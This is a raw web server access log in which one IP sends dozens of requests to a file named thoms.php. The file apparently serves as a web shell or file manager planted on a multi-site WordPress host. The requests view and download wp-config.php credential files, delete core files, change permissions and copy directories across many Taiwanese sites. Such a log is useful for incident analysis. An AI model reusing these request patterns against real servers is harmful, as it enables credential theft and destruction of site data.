45.135.193.11 - - [11/Sep/2026:22:37:26 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-activate.php HTTP/1.1" 200 14815 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=wp-activate.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:26 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=ba-guo.com.tw HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?chmod=wp-comments-post.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:26 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=ba-guo.com.tw HTTP/1.1" 200 17361 "http://163.245.207.76:443/thoms.php?dl=wp-config-sample.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:26 -0400] "GET /ba-guo.com.tw HTTP/1.1" 301 795 "http://163.245.207.76:443/ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p=ba-guo.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-login.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Ferror_log&p=ba-guo.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Ferror_log&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:26 -0400] "GET /ba-guo.com.tw/ HTTP/1.1" 301 0 "https://163.245.207.76:443/ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:26 -0400] "GET /ba-guo.com.tw/wp-login.php HTTP/1.1" 404 10432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:27 -0400] "GET /ba-guo.com.tw/wp-settings.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p=ba-guo.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-load.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:27 -0400] "GET /ba-guo.com.tw/ HTTP/1.1" 404 10432 "https://163.245.207.76:443/ba-guo.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:27 -0400] "GET /ba-guo.com.tw/wp-trackback.php HTTP/1.1" 404 157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:27 -0400] "GET /ba-guo.com.tw/wp-signup.php HTTP/1.1" 500 1182 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:27 -0400] "GET /thoms.php?del=wp-trackback.php&p=ba-guo.com.tw HTTP/1.1" 200 17360 "http://163.245.207.76:443/thoms.php?del=wp-trackback.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:27 -0400] "GET /ba-guo.com.tw/wp-config-sample.php HTTP/1.1" 500 1095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:27 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 200 12049 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:27 -0400] "GET /thoms.php?chmod=readme.html&p=ba-guo.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?chmod=readme.html&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:27 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-config.php HTTP/1.1" 200 13726 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=wp-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:27 -0400] "GET /thoms.php?del=upgrade&p=ba-guo.com.tw HTTP/1.1" 200 17361 "http://163.245.207.76:443/thoms.php?del=upgrade&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:27 -0400] "GET /thoms.php?chmod=wp-content&p=ba-guo.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?chmod=wp-content&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:27 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=locoy.php HTTP/1.1" 200 12953 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=locoy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:27 -0400] "GET /thoms.php?del=locoy.php&p=ba-guo.com.tw HTTP/1.1" 200 17359 "http://163.245.207.76:443/thoms.php?del=locoy.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:27 -0400] "GET /thoms.php?dl=locoy.php&p=ba-guo.com.tw HTTP/1.1" 200 17361 "http://163.245.207.76:443/thoms.php?dl=locoy.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:27 -0400] "GET /ba-guo.com.tw/wp-mail.php HTTP/1.1" 403 1196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:27 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12029 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=wp-blog-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:28 -0400] "GET /thoms.php?chmod=wp-settings.php&p=ba-guo.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?chmod=wp-settings.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p= HTTP/1.1" 200 11655 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:28 -0400] "GET /thoms.php?dl=thoms.php&p=ba-guo.com.tw HTTP/1.1" 200 17360 "http://163.245.207.76:443/thoms.php?dl=thoms.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:28 -0400] "GET /thoms.php?dl=wp-config.php&p=ba-guo.com.tw HTTP/1.1" 200 17349 "http://163.245.207.76:443/thoms.php?dl=wp-config.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:28 -0400] "GET /ba-guo.com.tw/wp-comments-post.php HTTP/1.1" 405 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:28 -0400] "GET /ba-guo.com.tw/xmlrpc.php HTTP/1.1" 405 62 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:28 -0400] "GET /thoms.php?del=wp-signup.php&p=ba-guo.com.tw HTTP/1.1" 200 17357 "http://163.245.207.76:443/thoms.php?del=wp-signup.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:28 -0400] "GET /thoms.php?del=wp-config.php&p=ba-guo.com.tw HTTP/1.1" 200 17361 "http://163.245.207.76:443/thoms.php?del=wp-config.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:28 -0400] "GET /thoms.php?del=index.php&p=ba-guo.com.tw HTTP/1.1" 200 17360 "http://163.245.207.76:443/thoms.php?del=index.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:28 -0400] "GET /thoms.php?dl=index.php&p=ba-guo.com.tw HTTP/1.1" 200 17360 "http://163.245.207.76:443/thoms.php?dl=index.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:28 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=ba-guo.com.tw HTTP/1.1" 200 17357 "http://163.245.207.76:443/thoms.php?dl=wp-comments-post.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:28 -0400] "GET /ba-guo.com.tw/setting-checkpoint/ HTTP/1.1" 200 6354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:28 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-load.php HTTP/1.1" 200 13657 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=wp-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:29 -0400] "GET /thoms.php?chmod=wp-signup.php&p=ba-guo.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-signup.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:29 -0400] "GET /ba-guo.com.tw/wp-activate.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:29 -0400] "GET /thoms.php?chmod=mah.php&p=ba-guo.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=mah.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:29 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 200 28857 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p=ba-guo.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:29 -0400] "GET /thoms.php?dl=wp-cron.php&p=ba-guo.com.tw HTTP/1.1" 200 17359 "http://163.245.207.76:443/thoms.php?dl=wp-cron.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p=ba-guo.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flicense.txt&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:29 -0400] "GET /thoms.php?del=wp-content&p=ba-guo.com.tw HTTP/1.1" 200 17361 "http://163.245.207.76:443/thoms.php?del=wp-content&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:29 -0400] "GET /thoms.php?del=thoms.php&p=ba-guo.com.tw HTTP/1.1" 200 17359 "http://163.245.207.76:443/thoms.php?del=thoms.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:29 -0400] "GET /ba-guo.com.tw/wp-links-opml.php HTTP/1.1" 200 212 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:29 -0400] "GET /ba-guo.com.tw/.well-known/ HTTP/1.1" 200 780 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:29 -0400] "GET /ba-guo.com.tw/mah.php HTTP/1.1" 200 1941 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:29 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-settings.php HTTP/1.1" 200 19465 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=wp-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:29 -0400] "GET /thoms.php?del=xmlrpc.php&p=ba-guo.com.tw HTTP/1.1" 200 17367 "http://163.245.207.76:443/thoms.php?del=xmlrpc.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:29 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13092 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=wp-links-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:30 -0400] "GET /thoms.php?del=wp-login.php&p=ba-guo.com.tw HTTP/1.1" 200 17367 "http://163.245.207.76:443/thoms.php?del=wp-login.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:30 -0400] "GET /thoms.php?chmod=wp-mail.php&p=ba-guo.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-mail.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:30 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11424 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:30 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=ba-guo.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=xmlrpc.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:30 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:30 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:30 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11425 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:30 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bfl.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:30 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:30 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:30 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:30 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=upgrade HTTP/1.1" 200 11308 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 17329 "https://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:30 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=wp-content HTTP/1.1" 200 11342 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:30 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bft.com.tw HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:30 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:31 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bossini.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:31 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:31 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:31 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:32 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11388 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:32 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=ba-guo.com.tw HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:31 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 17236 "https://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:32 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:33 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=betcity.com.tw HTTP/1.1" 200 11438 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:33 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=cgi-bin HTTP/1.1" 200 11286 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
